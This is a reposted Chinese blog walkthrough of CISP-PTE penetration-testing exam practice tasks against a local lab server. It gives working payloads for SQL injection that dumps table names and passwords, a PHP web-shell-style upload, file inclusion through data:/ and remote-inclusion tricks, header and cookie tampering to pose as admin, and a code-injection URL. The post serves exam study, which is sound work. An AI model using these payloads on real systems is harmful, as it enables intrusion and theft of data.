0


CISP-PTE实操练习题讲解二(新版)

系列文章目录

文章目录

前言

上一期给大家讲解了PTE考试练习的第一套题,每个题的解法都很详细的讲解了,接下来会给大家讲解第二套题,也是历年考试的题目,难度有点大,在这里给大家好好讲解一下。

一、SQL注入

http://192.168.230.133:81/
在这里插入图片描述
http://192.168.230.133:81/start/
在这里插入图片描述
进去之后,我们发现是一个注册页面,我们先注册一个账号
在这里插入图片描述
在这里插入图片描述
我们发表一个看看
在这里插入图片描述
insert article1 value(‘977E4328-4F2E-6A8D-6313-2BAB8B3FAC0B’,‘aa’,‘aaa’,‘123’)

我们看到后面输入的内容是在第二,第三个空,大概率是在内容上。
我们看到–和#号都被过滤了,我们可以用/**/进行绕过,这就用到二次注入的方法,次方法就比较麻烦,这里给大家介绍一种简单的方法。j就是多行注入的方法,可以从发表的内容中查看注入后返回的内容。
// 代码过滤规则
while (strstr($sql,‘–’)) {
$sql = str_replace(“–”, “”, $sql);
}

while (strstr($sql,‘#’)) {
$sql = str_replace(“#”, “”, $sql);
}

我们在内容里注入语句试试
1’,‘123’),(‘1’,‘2’,‘3
在这里插入图片描述
我们看到2是回显位置
在这里插入图片描述
查当前数据库
1’,‘123’),(‘1’,database(),‘3
在这里插入图片描述
查表
1’,‘123’),(‘1’,(select group_concat(table_name) from information_schema.tables where table_schema=‘2web’),'3
在这里插入图片描述
在这里插入图片描述
article,article1,users1

查字段
1’,‘123’),(‘1’,(select group_concat(column_name) from information_schema.columns where table_name=‘users1’),'3
在这里插入图片描述
在这里插入图片描述
username,password

查字段中的数据
1’,‘123’),(‘1’,(select password from users1 limit 0,1),'3
因为key可能就在password中
在这里插入图片描述
在这里插入图片描述
我们就找到key1:u9y8tr4n了。

二、文件上传

http://192.168.230.133:82/

尝试获取webshell,答案就在根目录下key.php文件中。

我们进入答题
http://192.168.230.133:82/start/
在这里插入图片描述
类似于第一套题中的上传题目一样,上传一个.jpg文件,在修改后缀名上传就可以了。

这是我们文件中的内容
GIF89a
<?php readfile('key.php');?>

在这里插入图片描述
我们查看一下 b.php文件
http://192.168.230.133:82/b.php
在这里插入图片描述
右键查看源码
在这里插入图片描述
我们就拿到了key2:a1b2c3d4了。

三、文件包含

http://192.168.230.133:83/
在这里插入图片描述
http://192.168.230.133:83/start/index.php?page=hello
在这里插入图片描述
我们使用伪协议和base64编码读文件试一下
首先是data://text/plain,<?php readfile('../key.php');?>

http://192.168.230.133:83/start/index.php?page=data://text/plain,<?php readfile('../key.php');?>
在这里插入图片描述
没有回显,data://被过滤了,我们使用data:/试试
http://192.168.230.133:83/start/index.php?page=data:/text/plain,<?php readfile('../key.php');?>
在这里插入图片描述
右键查看源码看看
在这里插入图片描述
我们就拿到key3:abcdefgh了。

我们也可以尝试php文件包含试试
http://192.168.230.133:83/start/index.php?page=php://filter/convert.base64-encode/resource==…/key.php
在这里插入图片描述
同样被过滤掉了。是因为后面总是会加上一个txt文件,所以会被认定为一个txt文件,无法解析,在这里我给大家讲一下正解。

我们只需要在上一题中修改一下文件后缀名就可以了,将b.php修改为b.txt文件,进行上传,文件内容如下所示:
GIF89a
<?php readfile('../key.php');?>

这里我们使用远程包含上一题上传的b.txt文件,因为这里会自动加上后面的.txt,所以这里包含的时候,后面就不用添加后缀名了。
http://192.168.230.133:83/start/index.php?page=http://192.168.230.133:82/b
在这里插入图片描述
点击右键查看源代码
在这里插入图片描述
我们就得到了key3:abcdefg。

四、反序列化漏洞

http://192.168.230.133:84/
在这里插入图片描述
http://192.168.230.133:84/start/index.php
在这里插入图片描述
看到源码就是让我们进行反序列化为字符串,然后输出 key4.php的内容,我们只需要在后面加上下面这个,就可以。
str=s:44:“Whatever is worth doing is worth doing well.”;

http://192.168.230.133:84/start/index.php?str=s:44:“Whatever is worth doing is worth doing well.”;
在这里插入图片描述
我们就拿到key4:12345678了。

五、失效的访问控制

http://192.168.230.133:85/start/
在这里插入图片描述
在这里插入图片描述
进去之后,发现只能本地访问,我们只需抓包后,请求下面添加xff为127.0.0.1就可以了,加上一句话。
x-forwarded-for:127.0.0.1

修改之后,发现可以访问了,但是无权访问,我们就需要修改权限,将其中的 IsAdmin=false; Username=R3Vlc3Q%3D修改为IsAdmin=true; Username=admin
再将后面的admin进行编码后:
IsAdmin=true; Username=YWRtaW4=
进行发送就可以了。
在这里插入图片描述
在这里插入图片描述
成功拿到key5:12345678了。

六、代码审计

http://192.168.230.133:84/start/vul4.php
在这里插入图片描述
其中意思就是说将参数a,赋值给一个字符串,将其最小化输出,就是输出key4.php文件。

我们只需要闭合前面和后面的括号,在括号中间的输入要读取的文件就可以了。输入以下语句就可以了
http://192.168.230.133:84/start/vul4.php?a=“);highlight_file(‘key4.php’)😭”
在这里插入图片描述
我们就拿到key4:12345678了。

总结

这里第二套习题就完了,大家好好复习一下,接下来下一篇文章,我会给大家讲解一下综合题的练习情况。


本文转载自: https://blog.csdn.net/lza20001103/article/details/126186905
版权归原作者 炫彩@之星 所有, 如有侵权,请联系我们删除。

“CISP-PTE实操练习题讲解二(新版)”的评论:

还没有评论